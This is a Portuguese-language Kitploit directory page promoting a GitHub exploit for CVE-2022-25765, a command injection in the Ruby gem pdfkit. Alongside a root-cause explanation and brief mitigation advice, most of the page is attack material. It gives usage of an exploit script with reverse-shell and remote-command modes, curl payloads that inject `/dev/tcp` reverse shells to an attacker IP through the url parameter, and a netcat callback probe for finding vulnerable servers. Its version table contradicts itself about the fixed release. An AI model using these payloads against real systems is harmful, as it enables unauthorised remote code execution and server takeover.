Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-25765-exploit | Kitploit
Ferramentas/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-25765 — Injeção de Comandos no pdfkit

Descrição

CVE-2022-25765 é uma vulnerabilidade de injeção de comandos (Command Injection) que afeta o pdfkit (Ruby gem) nas versões < 0.8.7.2. A vulnerabilidade tem severidade CRÍTICA com CVSS 9.8, pois permite execução remota de comandos sem autenticação.

O problema está no fato de o pdfkit passar o parâmetro url diretamente ao shell sem sanitização. A biblioteca executa internamente o wkhtmltopdf com um comando semelhante a:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

Se a URL contiver %20 (espaço codificado na URL) seguido de backticks ` ou $(), o shell interpreta o conteúdo como um comando e o executa.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Detalhes Técnicos

Causa raiz

O código vulnerável no pdfkit (source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

A URL é interpolada diretamente no comando shell sem sanitização. Ao incluir %20 (espaço), o conteúdo após o espaço escapa do contexto do argumento do wkhtmltopdf e um \`` ou $()` permite executar comandos arbitrários.


Exploit

Autor original

UNICORDev (@NicPWNs e @Dev-Yeoj)

O exploit original encontra-se em:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

Requisitos

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

Uso

root@kitploit:~
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

Parâmetros

Exemplos de payload manual

root@kitploit:~
# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identificação

Para identificar se um servidor é vulnerável:

  1. Enviar uma URL controlada e observar o callback HTTP
  2. Revisar os metadados do PDF gerado: Creator: pdfkit v0.8.6
root@kitploit:~
# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

Mitigação

  • Atualizar o pdfkit para a versão ≥ 0.8.7.2
  • Se não for possível atualizar, sanitizar o parâmetro url para eliminar caracteres perigosos (\``, $(), %20`)
  • Implementar uma lista de permissões (whitelist) de URLs ou usar uma API de terceiros para geração de PDFs

Referências

  • NVD — CVE-2022-25765
  • CVE-2022-25765 em GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (original)
Baixar ferramenta
CampoValor
CVECVE-2022-25765
Produtopdfkit (Ruby gem)
Versões afetadas0.0.0 – 0.8.7.2
TipoCommand Injection (CWE-78)
AutenticaçãoNão requerida
CVSS 3.19.8 CRITICAL
Correçãopdfkit ≥ 0.8.7.2
ParâmetroDescrição
-cComando personalizado
-s <IP> <PORT>Modo reverse shell
-w <URL>URL do site vulnerável (opcional)
-p <param>Parâmetro POST (opcional, padrão: url)
-hAjuda